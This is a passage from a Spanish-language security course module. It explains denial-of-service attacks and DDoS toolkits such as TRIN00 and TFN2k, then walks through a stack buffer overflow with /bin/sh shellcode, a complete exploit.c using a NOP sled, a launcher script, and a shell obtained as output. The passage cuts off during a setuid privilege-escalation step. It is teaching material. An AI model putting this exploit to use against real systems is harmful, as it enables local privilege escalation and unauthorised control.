Cuando un atacante configura una inundación de paquetes SYN de TCP, no tiene ninguna

intencíon de complementar el protocolo de intercambio, ni de establecer la conexión. Su

objetivo es exceder los lı́mites establecidos para el número de conexiones que están a la

espera de establecerse para un servicio dado.

Esto puede hacer que el sistema que es vı́ctima del ataque sea incapaz de establecer cual-

quier conexíon adicional para este servicio hasta que las conexiones que estén a la espera

bajen el umbral.

Hasta que se llegue a este lı́mite, cada paquete SYN genera un SYN/ACK que permanecerá

en la cola a la espera de establecerse. Es decir, cada conexión tiene un temporizador (un

lı́mite para el tiempo que el sistema espera, el establecimiento de la conexión) que tiende

a configurarse en un minuto.

Cuando se excede el lı́mite de tiempo, se libera la memoria que mantiene el estado de

esta conexíon y la cuenta de la cola de servicios disminuye en una unidad. Después de

alcanzar el ĺımite, puede mantenerse completa la cola de servicios, evitando que el sistema

establezca nuevas conexiones en este puerto con nuevos paquetes SYN.

Dado que elúnico proṕosito de la t́ecnica es inundar la cola, no tiene ningún sentido

utilizar la direccíon IP real del atacante, ni tampoco devolver los SYN/ACK, puesto que

de esta forma facilitarı́a que alguien pudiera llegar hastaél siguiendo la conexión. Por lo

tanto, normalmente se falsea la dirección de origen del paquete, modificando para ello la

cabecera IP de los paquetes que intervendrán en el ataque de una inundación SYN.

1.5.4. Teardrop

Como hemos visto en este mismo módulo*, el protocolo IP especifica unos campos enFragmentación IP

* Para tratar el siguiente
ataque, haremos uso de la
teorı́a sobre la fragmentación
IP que hemos visto en este
mismo módulo didáctico.

la cabecera encargados de señalar si el datagrama IP está fragmentado (forma parte de un

paquete mayor) y la posición que ocupa dentro del datagrama original.

** En inglés, TCP flags.

En el campo de indicadores de TCP** encontramos el indicador de más fragmentos que

indica si el paquete recibido es un fragmento de un datagrama mayor. Por otra parte, el

campo de identificación del datagrama especifica la posición del fragmento en el datagrama

original.
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.

El ataqueTeardrop intentaŕa realizar una utilización fraudulenta de la fragmenta-

ción IP para poder confundir al sistema operativo en la reconstrucción del datagra-

ma original y colapsar ası́ el sistema.

Supongamos que deseamos enviar un fichero de 1024 bytes a una red con un MTU (Maxim

Transfer Unit) de 512 bytes. Será suficiente enviar dos fragmentos de 512 bytes:

Fragmento 1

Fragmento 2

0

512

512

512

Posición Longitud

Fragmentación correcta

El objetivo deTeardropseŕa realizar las modificaciones necesarias en los campos de po-

sición y longitud para introducir incoherencias cuando se produzca la reconstrucción del

datagrama original:

Fragmento 1

Fragmento 2

0

500

512

512

Posición Longitud

Fragmentación incorrecta

………….. ………….. …………..

Fragmento N 10 100

De esta forma,Teardropy sus variantes directas conseguirán que el datagrama se sobres-

criba y produzca un error debuffer-overrunal ser reensamblado. Error de buffer-overrun

Se puede producir a causa
de la existencia de
desplazamientos negativos.

Otra posibilidad consiste en enviar centenares de fragmentos modificados malintenciona-

damente, con el objetivo de saturar la pila de protocolo IP del equipo atacado (a causa de

una superposición de distintos datagramas IP).
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1.5.5. Snork

.

El ataqueSnorkse basa en una utilización malintencionada de dos servicios tı́picos

en sistemas Unix: el servicio CHARGEN (CHARacter GENerator, generador de

caracteres) y el servicio ECHO.

El primer servicio se limita a responder con una secuencia aleatoria de caracteres a las

peticiones que recibe. El segundo servicio, ECHO, se utiliza como sistema de pruebas

para verificar el funcionamiento del protocolo IP.

Aśı, esta denegación de servicio se basa en el envı́o de un datagrama especial al ordenador

de destino, que una vez reconocido, enviará una respuesta al equipo de origen.

Ataque Snork

Atacante

10.0.0.1
Víctima

10.0.0.3

Trampolín

10.0.0.2

Echo 10.0.0.3

(IP src= 10.0.0.3)

Echo 10.0.0.2

(IP src= 10.0.0.3)

Chargen/Echo

(lazo infinito)

Chargen/Echo

(lazo infinito)

.

El ataqueSnork consiste en el cruce de los servicios ECHO y CHARGEN, me-

diante el env́ıo de una peticíon falsa al servicio CHARGEN, habiendo colocado

previamente como dirección de origen la dirección IP de la ḿaquina que hay que

atacar (con el puerto del servicio ECHO como puerto de respuesta). De esta forma,

se inicia un juego de ping-pong infinito.
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Este ataque se puede realizar con distintos pares de equipos de la red obteniendo un con-

sumo masivo de ancho de banda hasta degradar el rendimiento de la misma. También se

puede realizar contra una misma máquina (ella misma se envı́a una peticíon y su respuesta)

consiguiendo consumir los recursos (especialmente CPU y memoria) de este equipo.

1.5.6. Ping of death

El ataque de denegación de servicio ”ping de la muerte”(ping of death) es uno de los

ataques ḿas conocidos y que ḿas art́ıculos de prensa ha generado. Al igual que otros

ataques de denegación existentes, utiliza una definición de longitud ḿaxima de datagrama

IP fraudulenta.

.

La longitud ḿaxima de un datagrama IP es de 65535 bytes, incluyendo la cabecera

del paquete (20 bytes) y partiendo de la base de que no hay opciones especiales

especificadas. Por otra parte, recordemos que el protocolo ICMP tiene una cabe-

cera de 8 bytes. De esta forma, si queremos construir un mensaje ICMP tenemos

disponibles 65535 - 20 - 8 = 65507 bytes.

Debido a la posibilidad de fragmentación de IP, si es necesario enviar más de 65535 bytes,

el datagrama IP se fragmentará y se reensamblará en el destino con los mecanismos que

comentados anteriormente.

El ataque ping de la muerte se basa en la posibilidad de construir, mediante el comando

ping, un datagrama IP superior a los 65535 bytes, fragmentado en N trozos, con el objetivo

de provocar incoherencias en el proceso de reensamblado.

Si, por ejemplo, construimos un mensaje ICMP de tipoecho-request de 65510 by-

tes mediante el comandoping -s 65510 , los datos ICMP podrán ser enviados en un

único paquete fragmentado en N trozos (según la MTU de la red), pero pertenecientes al

mismo datagrama IP. Si hacemos la suma de los distintos campos del datagrama, veremos

que los 20 bytes de cabecera IP más los 8 bytes de cabecera ICMP, junto con los datos

ICMP (65510 bytes) ocuparán 65538 bytes. De esta forma, el ataque consigue provocar

un desbordamiento de 3 bytes. Este hecho provocará que al reconstruir el paquete original

en el destino, se producirán errores que, si existen deficiencias en la implementación de la

pila TCP/IP del sistema, podrı́an causar la degradación total del sistema atacado.
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1.5.7. Ataques distribuidos

Un ataque de denegación de servicio distribuido* es aquél en el que una multitud de

* En inglés, Distributed
Denial of Service (DDoS).

sistemas (que previamente han sido comprometidos) cooperan entre ellos para atacar a un

equipo objetivo, cauśandole una denegación de servicio. El flujo de mensajes de entrada

que padece el equipo atacado le dejará sin recursos y será incapaz de ofrecer sus servicios

a usuarios leǵıtimos.

.

Aśı pues, podemos definir los ataques de denegación de servicio distribuidos como

un ataque de denegación de servicio en el que existen múltiples equipos sincroni-

zados de forma distribuida que se unen para atacar un mismo objetivo.

A continuacíon veremos algunos de los ataques de denegación de servicio distribuidos

más representativos, prestando especial atención tanto a su evolución hist́orica, como al

modelo distribuido de las fuentes que realizan el ataque, su sincronización y la forma en la

que realizan la denegación de servicio.

TRIN00

TRIN00es un conjunto de herramientasmaster-slaveutilizadas para sincronizar distintos

equipos que cooperarán, de forma distribuida, en la realización de una denegación de ser-

vicio. Las primeras implementaciones deTRIN00fueron implementadaśunicamente para

sistemas Sun Solaris (en los que se produjeron los primeros ataques conocidos).

El primer paso para realizar un ataque conTRIN00consiste en la instalación de las

** Mirad el capı́tulo
Deficiencias de programación
para más información sobre
explotación de servicios.

herramientas en los equipos desde los que partirá el ataque. Para ello, el atacante necesitará

obtener privilegios de administrador en estos equipos (que habrá conseguido mediante

técnicas desniffing, explotacíon de servicios**, . . . ). Estos sistemas deberı́an ser equipos

interconectados en grandes redes corporativas con un gran ancho de banda y en los que el

origen del ataque pudiera pasar desapercibido entre cientos o millares de sistemas dentro

la misma red. El atacante tratará de realizar un ataque de intrusión a un primer equipo

de estas redes, desde donde continuará con la b́usqueda de nuevos equipos vulnerables y

procedeŕa a su infeccíon de igual manera como se realizó con el primer equipo.

.

Para realizar las intrusiones, el atacante llevará a cabo una b́usqueda de vulnera-

bilidades en los equipos existentes en la red, generando una lista de equipos po-

tencialmente d́ebiles en los que tratará de introducirse y ejecutar las herramientas

necesarias para provocar la escalada de privilegios.
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Desde el primer equipo infectado porTRIN00, el atacante tratará de distribuir las herrami-

entas a cada una de las demás ḿaquinas infectadas. También se encargará de la ejecución

de tareas periódicas para tratar de esconder los rastros de la intrusión que puedan delatar

laentradaen el sistema y ladetección del origen del ataque.

En la siguiente figura podemos observar el diagrama de tres capas que conforma un ataque

ejecutado medianteTRIN00. Vemos ćomo a partir de uńunico ordenador, el atacante

podŕa llegar a obtener toda una red de equipos a su disposición para la realización del

ataque distribuido:

Atacante

Master

Slave

Slave

Master

Slave

Slave

Ataque TRIN00

La comunicacíon entre las distintas capas se realiza mediante conexiones TCP (fiables)

para la parteatacante-master, y conexiones UDP (no fiables) para la partemaster-slavey

slave-master, en puertos especı́ficos de cada ḿaquina.

.

La comunicacíon siempre se inicia con la transmisión de una contraseña. Esto

permite que ni el administrador del equipo ni el de otros atacantes puedan acceder

al control de la red de ataques deTRIN00.

Los demonios deTRIN00situados en los equiposmastery slavepermiten la ejecución

de comandos para iniciar, controlar y detener ataques de denegación tradicionales como

ICMP Flooding, SYN Flooding, UDP Flooding, Smurf, etc. Para acceder a estos coman-

dos, el atacante realizará una conexíon Telnet en el puerto especificado en el siguiente

esquema:
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Atacante

Master

27665/TCP

Atacante Master

Esquema de comunicaciones de TRIN00

27444/UDP

Slave

Slave 31335/UDP

Tribe Flood Network

Tribe Flood Network(TFN) es otra de las herramientas existentes para realizar ataques de

denegacíon de servicio distribuidos que utiliza un esquemamaster-slavepara coordinar

ataques de denegación tradicionales (ICMP Flooding, SYN Flooding, UDP Flooding y

Smurf). Al igual queTRIN00, permite dejar abierta una consola de administración a la

máquina de origen (escuchando por un puerto TCP determinado) ofreciendo un acceso

ilimitado a los equipos infectados.

.

La arquitectura de funcionamiento del TFN es muy parecida a la deTRIN00. Una

de las pocas diferencias la encontramos en la parte de clientes (respecto a losMas-

ters del esquema deTRIN00) y la parte de demonios (respeto a losSlavesde

TRIN00). De forma ańaloga, un atacante controla a uno o más clientes quem a

su vez, controlan a uno o ḿas demonios.

El control de la red TFN se consigue mediante la ejecución directa de comandos utilizando

conexionescliente-servidorbasadas en paquetes ICMP de tipoecho-reply .

.

La comunicacíon para el env́ıo de comandos se realiza mediante un número binario

de 16 bits en el campo de identificación de mensajes ICMP de tipoecho . El

número de secuenciaes una constante0x0000 para enmascarar el mensaje ICMP

como si fuera a una peticiónecho-request y pasar aśı desapercibido en el caso

de existir en la red mecanismos de detección de ataques.

Este cambio en la comunicación, respecto aTRIN00, se debe a que muchos sistemas de

monitorizacíon para la protección de redes (dispositivos cortafuegos, sistemas de detección

de intrusos, . . . ) pueden filtrar tráfico TCP y UDP que va hacia puertos determinados.
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No obstante, la mayorı́a de sistemas dejan pasar mensajes ICMP de tipoecho utilizados

para utilizar el comandoping y realizar aśı verificaciones de los equipos activos en la red.

Además, pocas herramientas de red muestran adecuadamente los mensajes ICMP, lo cual

permite un camuflaje perfecto entre el tráfico normal de la red.

Otra diferencia respeto aTRIN00es que los clientes de TFN no están protegidos por con-

trasẽnas de acceso, con lo cual puede ser ejecutado sin restricciones por otros usuarios una

vez instalado.

Shaft

Otro conjunto de herramientas derivado de los dos anteriores (TRIN00y TFN) esShaft.

La jerarqúıa utilizada porShaftes similar a las deḿas herramientas analizadas. Una vez

más, se basa en variosmasters(denominados ahoraShaftmasters) que gobiernan a su vez

diversosslaves(Shaftnodes).

Al igual que en los otros esquemas, el atacante se conecta mediante un programa cliente a

losShaftmastersdesde donde inicia, controla y finaliza los ataques distribuidos.

Shaftutiliza mensajes UDP para transmitir información entre losShaftmastersy losShaft-

nodes. Por otra parte, el atacante se conecta vı́a Telnet a unShaftmasterutilizando una

conexíon fiable mediante TCP. Una vez conectado, utilizará una contrasẽna para autorizar

su acceso.

Atacante

ShaftMaster

20432/TCP

Atacante ShaftMaster

Esquema de comunicaciones de Shaft

18753/UDP

ShaftNode

ShaftNode 20433/UDP

.

La comunicacíon entreShaftmastersy Shaftnodesse realiza mediante UDP (que

no es fiable). Por este motivo, Shaft utilizaticketspara poder mantener ordenada la

comunicacíon y asignar a cada paquete una orden de secuencia.

La combinacíon de contrasẽnas y tickets es utilizada por losShaftmasterspara transmitir

lasórdenes hacia a losShaftnodes, que a su vez verificarán que sean correctas.
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Tribe Flood Network2000

Analizaremospor último una revisión de laherramientaTFN. Laarquitecturabásicaen la

que existe un atacante que utiliza clientes para gobernar los distintos demonios instalados

en las ḿaquinas infectadas se mantiene, de forma que el control de este tipo de ataques

mantiene la premisa de tener el máximo ńumero de ordenadores segmentados. De esta

forma, si un cliente es neutralizado, el resto de la red continúa bajo control.

Aun aśı, Tribe Flood Network2000 (TFN2k) ãnade una serie de caracterı́sticas adicionales,

de entre las que destacamos las siguientes:

• La comunicacíonmaster-slavese realizan ahora mediante protocolos TCP, UDP, ICMP

o los tres a la vez de forma aleatoria.

• Los ataques contińuan siendo los mismos (ICMP Flooding, UDP Flooding, SYN Flo-

odingy Smurf). Aun aśı, el demonio se puede programar para que alterne entre estos

cuatro tipos de ataque, para dificultar la detección por parte de sistemas de monitoriza-

ción en la red.

• Las cabeceras de los paquetes de comunicación master-slaveson ahora aleatorias, ex-

cepto en el caso de ICMP (donde siempre se utilizan mensajes de tipoecho-reply ).

De esta forma se evitarı́a una detección mediante patrones de comportamiento.

• Todos los comandos van cifrados. La clave se define en tiempo de compilación y se

utiliza como contrasẽna para acceder al cliente.

• Cada demonio genera un proceso hijo por ataque, tratando de diferenciarse entre sı́

a trav́es de los argumentos y parámetros que se pasan en el momento de ejecución.

Además, se altera su nombre de proceso para hacerlo pasar por un proceso más del

sistema.
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1.6. Deficiencias de programacíon

.

En estéultimo apartado analizaremos dos de los errores de programación más graves que Calidad del software

Los sistemas operativos y, en
general, las aplicaciones de
código abierto suelen ser
estudiadas más
profundamente y por un
colectivo de programadores y
usuarios muy grande. Por
este hecho, las
vulnerabilidades existentes a
causa de errores en la
programación suelen estar
más controladas.

podemos encontrar en aplicaciones de red como ejemplo delúltimo tipo de deficiencias

asociadas al modelo de comunicaciones TCP/IP. En realidad, este tipo de deficiencias se

debeŕıan considerar como vulnerabilidades de seguridad a nivel de sistema más que como

deficiencias de seguridad de la arquitectura de red TCP/IP. Aun ası́, se han incluido en este

módulo did́actico puesto que son vulnerabilidades asociadas a los servicios proporcionados

sobre TCP/IP y porque, en el caso de estar presentes en los servicios que ofrece la red,

incrementaŕan el riesgo de vulnerar la seguridad de la misma.

La mayor parte de estas deficiencias de programación pueden suponer un agujero en la

seguridad de la red debido a situaciones no previstas como, por ejemplo:

• Entradas no controladas por el autor de la aplicación, que pueden provocar acciones

malintencionadas y ejecución de ćodigo malicioso. El gusano ...

... de Robert Morris fue
capaz de colapsar gran parte
de los sistemas existentes en
internet en aquel momento,
provocando gran conmoción
respeto a la seguridad a las
redes TCP/IP.

• Uso de caracteres especiales que permiten un acceso no autorizado al servidor del

servicio.

• Entradas inesperadamente largas que provocan desbordamientos dentro de la pila de

ejecucíon y que pueden implicar una alteración en el ćodigo que hay que ejecutar.

Sendmail

la aplicación sendmail es
uno de los servidores de
correo electrónico (protocolo
SMTP) más conocidos y ha
representado una auténtica
pesadilla de seguridad desde
que aparecieron los primeros
problemas de seguridad en
1988. Precisamente por ser
el servidor de correo
electrónico más popular y por
tratarse de un programa que
viola el principio del privilegio
mı́nimo (dado que se ejecuta
con privilegios de
administrador), durante años
fue el blanco de numerosos
ataques.

Un ejemplo de ataque que se aprovechaba de estas deficiencias de programación fue el fa-

moso gusano de Robert Morris, Jr. Este ataque contra internet se produjo el 2 de noviembre

de 1988, cuando este estudiante generó un gusano que se aprovechaba de dos errores de

programacíon en dos aplicaciones de servicio de internet: la primera deficiencia estaba

asociada al modo de depuración del demoniosendmail y la segunda se relacionaba con

el demoniofingerd (relativa a su implementación para identificar peticionesfinger).

El objetivo final de los ataques que explotan deficiencias de programación es la posibilidad

de ejecutar un ćodigo arbitrario en el sistema operativo sobre el que se está ejecutando la

aplicacíon vulnerable. Generalmente, este código arbitrario consistiŕa en la ejecución de un

código en ensamblador (ḿas conocido comoshellcode) que permite la posterior ejecución

de comandos de sistema con privilegios del usuario administrador, es decir, con todos los

permisos posibles.
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Los ataques que permiten explotar este tipo de deficiencias se presentan generalmente enDescargarexploitsde internet

La idea de visitar páginas
web de internet con el
objetivo de encontrar exploits
ya creados y ponerse a
probar sus efectos no es
nada recomendable. Aunque
conseguir el código fuente de
estos exploits es
generalmente posible, es
muy probable que a causa
del desconocimiento del
tema por parte del usuario no
le permita percibir que este
exploit puede ser en realidad
un ataque contra su propia
máquina.

forma de binarios (programas ejecutables) ya compilados para el sistema operativo en el

que se está ejecutando la aplicación vulnerable (conocidos con el nombre deexploits).

.

Un exploit es un programa, generalmente escrito en C o ensamblador, que fuerza

las condiciones necesarias para aprovecharse de un error de seguridad subyacente.

Existen infinidad deexploitspara servidores de aplicaciones de internet (servidores de

imap, pop3, smtp, ftp, httpd, . . . ) y generalmente se pueden encontrar disponibles en

internet ya compilados o en forma de código fuente.

Analizaremos a continuación, como ejemplo de dos de las deficiencias de programación

más representativas, los ataques de explotación a trav́es de desbordamientos debuffer y

mediante cadenas de formato.

1.6.1. Desbordamiento debuffer

Un ataque de desbordamiento debufferse basa en la posibilidad de escribir información Lectura recomendada

Una de las mejores lecturas
para entender el correcto
funcionamiento de los
ataques de explotación
basados en desbordamientos
de buffer es el artı́culo
”Smashing the Stack for Fun
and Profit”de Aleph One. Lo
podéis encontrar en el
número 49 de la revista
digital Phrack
(www.phrack.org ).

más alĺa de los limites de una tupla almacenada en la pila de ejecución. A partir de esta

tupla, asociada a una llamada a función dentro del programa, se puede conseguir corromper

el flujo de la ejecucíon modificando el valor de regreso de la llamada a la función. Si este

cambio en el flujo de ejecución es posible, se podrá llevar la ejecucíon a una dirección de

memoria arbitraria (introducida en los datos de la pila a partir del mismo ataque) y ejecutar

un ćodigo malicioso.

El éxito de este ataque será posible en aquellos programas que utilizan funciones de ma-

nipulacíon debuffersque no comprueban los lı́mites de las estructuras de los datos como,

por ejemplo, la funcíon strcpy() , en vez de las que sı́ lo hacen como, por ejemplo, la

funciónstrncpy() . Veamos, a partir del siguiente ejemplo:

[usuario@victima /]$ cat a1.c

void f (int a, int b) {

char buffer[100];

}

void main() {

f(1,2);

}

[usuario@victima /]$ gcc a1.c -o a1

[usuario@victima /]$ ./a1
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como quedarı́a la situacíon de la pila de ejecución en el momento de realizar la llamada a

la función f() :

parámetro_2=”b”=2

parámetro_1=”a”=1

RET

SFP

Buffer[100]

crecimiento

de la pila

Inicio

de la pila

Parámetros

de la función

Dirección de

retorno de la

llamada a  la

función

Variables

locales a la

función

En este otro ejemplo,

[usuario@victima /]$ cat a2.c

void f(int a, int b, int c) {

   char buf1[5];

   char buf2[10];

   *(buf1 + 12)+=8;

int main() {

  int x;

  x = 0;

  f(1,2,3);

  x = 1;

  printf("%d\n",x);

}

[usuario@victima /]$ gcc a2.c -o a2

[usuario@victima /]$ ./a2

0

vemos ćomo tras la llamada a la función f() durante la ejecución del programa, el valor de

regreso almacenado en la pila de ejecución es modificado para que una de las instrucciones

(x=1 ) sea ignorada. La situación de la pila de ejecución durante la llamada a la función f()

quedaŕıa como sigue:
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parámetro_2=”b”=2

parámetro_1=”a”=1

RET

SFP

buf1[5]

crecimiento

de la pila

Desbordamiento

(buf1 + 12)

Parámetros

de la función

Dirección de

retorno de la

llamada a la

función

Variables

locales a la

función

parámetro_3=”c”=3

buf2[10]

Para poder llevar a cabo el desbordamiento es necesario conocer la arquitectura del sistema

en el que se está ejecutando el programa, ası́ como su sistema operativo. A partir de

esta informacíon, seŕa posible conocer, por ejemplo, el sentido de crecimiento de la pila

de ejecucíon (puede ser a direcciones menores de memoria o a direcciones mayores), la

definición del puntero de pila (síeste hace referencia a laúltima posicíon ocupada en la

pila o a la primera posición libre), etc.

Asimismo, se requiere conocer también en detalle el orden en el que se depositan los

distintos elementos en la pila: el puntero hacia el marco anterior (SFP), la dirección de

retorno (RET), el orden de las variables locales y los parámetros pasados a la función, etc.

Con toda esta información, se podŕa introducir un valor en la posición de la direccíon de

regreso que modifique el flujo de ejecución justo en el punto que se desee, es decir, una

posicíon de memoria en el que se haya almacenado previamente el código que hay que

ejecutar. Generalmente,éste suele ser el código en ensamblador necesario para abrir una

consola de sistema (shellcode).

parámetro_2=”b”=2

parámetro_1=”a”=1

RET

SFP

crecimiento

de la pila

Desbordamiento

(buf1 + 12)

Parámetros

de la función

Dirección de

retorno de la

llamada a la

función

Variables

locales a la

función

parámetro_3=”c”=3

Buffer[100]=”\xeb\x0b\xd8\

… ... … ... … ... …

… ... … ... … ... …

\xdc\xda\xff/bin/sh”

ShellCode
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.

El objetivo de un ataque basado en desbordamiento debuffer en sistemas Unix

suele ser la ejecución de una consola de sistema con los permisos asociados al

usuario con el que se está ejecutando el servicio atacado. Si este usuario es el

administrador del sistema, esto implica disponer de todos los privilegios sobre los

recursos del equipo.

Cuando se disponga de toda la información necesaria, se utilizará un puntero contra la

direccíon de memoria que contiene el valor de la dirección de regreso para modificarlo.

El valor introducido apuntará a la direccíon de la pila en la que se haya almacenado el

shellcode correspondiente.

Dado que la mayor parte de estos ataques suele dejar el código que hay que ejecutar di-

rectamente en la pila,́este debe ser código ensamblador para su correcta ejecución. Para

construir esteshellcode , se puede partir de un código a ḿas alto nivel con la opción de

generacíon del propio ćodigo ensamblador asociado o extraerlo mediante una utilidad de

depuracíon.

A continuacíon presentamos un pequeño ejemplo para ver los pasos necesarios para trans-

formar un ćodigo en lenguaje C que realiza la llamada al sistema, necesaria para abrir una

shell de sistema en un entorno GNU/Linux y su transformación a ćodigo ensamblador.

• En primer lugar construimos el código fuente necesario para realizar la llamada al siste-

maexecve , invocando la ejecución del binario/bin/sh , y lo compilamos mediante

gcc :

[usuario@victima /]$ cat s.c

#include <stdio.h>

void main() {

 char *name[2];

 name[0] = "/bin/sh";

 name[1] = NULL;

 execve(name[0], name, NULL);

 exit(0);

}

• A continuacíon, utilizaremos la herramienta de depuracióngdb para analizar el ćodigo

ensamblador asociado al código que hemos compilado. Mediante este análisis, detec-

taremos qúe instrucciones en ensamblador son necesarias para invocar la llamada al

sistemaexecve , descartando ası́ el resto de ćodigo innecesario (dado que el shellco-

de que hay que construir deberı́a ser de tamãno reducido y autosuficiente).
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[usuario@victima /]$ gcc -o s -ggdb -static s.c

[usuario@victima /]$ gdb s

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>:       pushl  %ebp

0x8000131 <main+1>:     movl   %esp,%ebp

0x8000133 <main+3>:     subl   $0x8,%esp

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

0x800014e <main+30>:    call   0x80002bc <__execve>

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

(gdb) disassemble __execve

0x80002bc <__execve>:   pushl  %ebp

0x80002bd <__execve+1>: movl   %esp,%ebp

0x80002bf <__execve+3>: pushl  %ebx

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop

• Para asegurar el correcto funcionamiento de las instrucciones que utilizaremos en el

shellcodefinal, realizamos un nuevo código en C que ejecute directamente las instruc-

ciones en ensamblador seleccionadas para la elaboración delshellcodey comprobamos

que tras su ejecución se obtenga la consola de sistema esperada:

[usuario@victima /]$ cat s.c

void main() {

__asm__("

        jmp    0x1f                     # 2 bytes

        popl   %esi                     # 1 byte

        movl   %esi,0x8(%esi)           # 3 bytes

        xorl   %eax,%eax                # 2 bytes

  movb   %eax,0x7(%esi)           # 3 bytes

        movl   %eax,0xc(%esi)           # 3 bytes

        movb   $0xb,%al                 # 2 bytes

        movl   %esi,%ebx                # 2 bytes

        leal   0x8(%esi),%ecx           # 3 bytes

        leal   0xc(%esi),%edx           # 3 bytes

        int    $0x80                    # 2 bytes

        xorl   %ebx,%ebx                # 2 bytes

        movl   %ebx,%eax                # 2 bytes

        inc    %eax                     # 1 bytes

        int    $0x80                    # 2 bytes

        call   -0x24                    # 5 bytes

        .string \"/bin/sh\"             # 8 bytes

");
}

• Por último, construimos un nuevo programa en C para comprobar el correcto fun-

cionamiento del ćodigo ensamblador anterior. En este programa se colocan cada una

de las instrucciones del código en ensamblador mediante su código de operación en

hexadecimal (conseguido nuevamente a partir de la herramienta de depuracióngdb ).
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Asignamos estos códigos de operación a una tupla de caracteres llamadashellcode

y comprobaremos si es posible su ejecución tras modificar la dirección de retorno a la

zona de memoria en la que se encuentra depositada esta variable:

[usuario@victima /]$ cat test.c

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31 \xc0\x88\x46\x07\x89\x46\x0c"

"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"

"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {

   int *ret;

   ret = (int *)&ret + 2;

   (*ret) = (int)shellcode;

}

[usuario@victima /]$ gcc -o test test.c

[usuario@victima /]$ ./test

$ exit
[usuario@victima /]$

Ejecución local de un desbordamiento debuffer

La construccíon de una aplicación que realizaŕa un desbordamiento debuffer sobre una

segunda aplicación vulnerable (que presenta, por lo tanto, esta deficiencia de programa-

ción) requiere conocimientos más avanzados sobre el código que hay que atacar. Además,

seŕa necesaria la inyección delshellcode adecuado (por medio, por ejemplo, de un pa-

so de paŕametros), junto con la utilización de referencias relativas para alcanzar el código

inyectado.

.

El uso de referencias relativas es necesario puesto que la aplicación que est́a rea-

lizando el ataque (elexploit) desconoce la posición absoluta en memoria o, lo que

es lo mismo, el estado de la pila en el momento de la ejecución del programa

vulnerable.

Asimismo es necesario realizar un tratamiento en el contenido del código inyectado en

memoria, para evitar la existencia de elementosNULLque podŕıan concluir la lectura del

código ensamblador asociado. Si esta situación se produce, la ejecución del programa

vulnerable finalizaŕa en su totalidad.

Tambíen seŕa necesario simular una condición de finalizacíon correcta, tanto si realmente

es aśı, como si ocurre alǵun problema en las llamadas al sistema, de forma que en ningún

caso finalice la ejecución de la aplicacíon vulnerable al intentar realizar el ataque.
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Otro aspecto que debemos tener en cuenta es la posible variación de la posicíon en la pi-

la del código inyectado. Aśı, es posible apuntar a direcciones de memoria no permitidas

para buscar el ćodigo inyectado a la pila de ejecución. Para evitarlo, serı́a necesario ave-

riguar el tamãno delbuffersobre el que el ataque aplicará el desbordamiento, ası́ como el

desplazamiento necesario sobre la pila.

A continuacíon veremos un ejemplo de ejecución local de un ataque de desbordamiento

contra una aplicación vulnerable:

• En primer lugar, codificamos en lenguaje C una aplicación vulnerable y la compilamos:

[usuario@victima /]$ cat v.c

#include <stdio.h>

#include <string.h>

int main(int argc, char *argv[]) {

 char buffer[512];

 setuid(0);

 strcpy(buffer,argv[1]);

}

[usuario@victima /]$ gcc -o v v.c

• En segundo lugar, codificamos, también en lenguaje C, unexploit que realizaŕa un

ataque de desbordamiento debuffercontra el programa anterior y lo compilamos. Para

realizar el ataque, esteexploitconstruiŕa unshellcodeque ḿas adelante se inyectará al

código vulnerable.

[usuario@victima /]$ cat exploit.c

#include <stdlib.h>

char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void){

__asm__("movl %esp,%eax");

}

int main(int argc, char *argv[]) {

  char *buff, *ptr;long *addr_ptr, addr; int i, bsize;

  bsize  = atoi(argv[1]); buff = malloc(bsize);

  addr = get_sp();  ptr = buff;

  addr_ptr = (long *) ptr;

  for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++) buff[i] = 0x90;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

  for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  printf("%s",buff);

}

[usuario@victima /]$ gcc -o exploit exploit.c
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Para facilitar la b́usqueda del ćodigo inyectado sobre la aplicación vulnerable, delan-

-* No operation. Este código
de operación en ensamblador
indica al procesador que no
haga nada. Se utiliza
únicamente para incrementar
el contador de programa.
-** A la cadena de códigos de
operación NOP que
insertamos dentro del
shellcode se la conoce con
el nombre de sledge
(trampolı́n).

te del shellcod e del exploit se utilizará una cadena llena de códigos NOP*, para

utilizar parte de la memoria como trampolı́n** hacia el ćodigo delshellcode.

• Para realizar la inyección delshellcode generado en elexploitanterior, realizamos

el siguiente guíon de sistema y lo ejecutamos:

[usuario@victima /]$ cat launcher.sh

for i in `seq 500 700`;do

  a=`./e $i`;

  ./v $a;

  echo "bsize==$i";

done

[usuario@victima /]$ launcher.sh

./launcher.sh: line 3:  6810 Segmentation fault      ./v $a

bsize ==500

./launcher.sh: line 3:  6810 Segmentation fault      ./v $a

bsize ==501

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

... ... ... ... ... ... ... ... ... ...

./launcher.sh: line 3:  6810 Segmentation fault      ./v $a

bsize ==528

sh$

sh$ whoami

usuario

sh$ exit

bsize==529

^C

• Como vemos en la figura anterior, con un tamaño debufferde 528 se consigue realizar

con éxito el ataque de desbordamiento debuffer sobre la aplicación vulnerable. Pero

como este programa vulnerable se está ejecutando con privilegios de usuario normal, la

consola de sistema que el ataque consigue ejecutar lo hará con los mismos privilegios.

Para comprobar el riesgo de seguridad que puede suponer el ejemplo anterior, simu-

lamos a continuación que el programa vulnerable es en realidad una aplicación que

pertenece al usuario administrador del sistema y que tiene activado además el bit de

setuid . Con estas modificaciones, volvemos a ejecutar el guión de sistema anterior,

y comprobamos ćomo un usuario con privilegios normales puede conseguir realizar

una escalada de privilegios mediante la realización del ataque:

[usuario@victima /]$ ls -la v

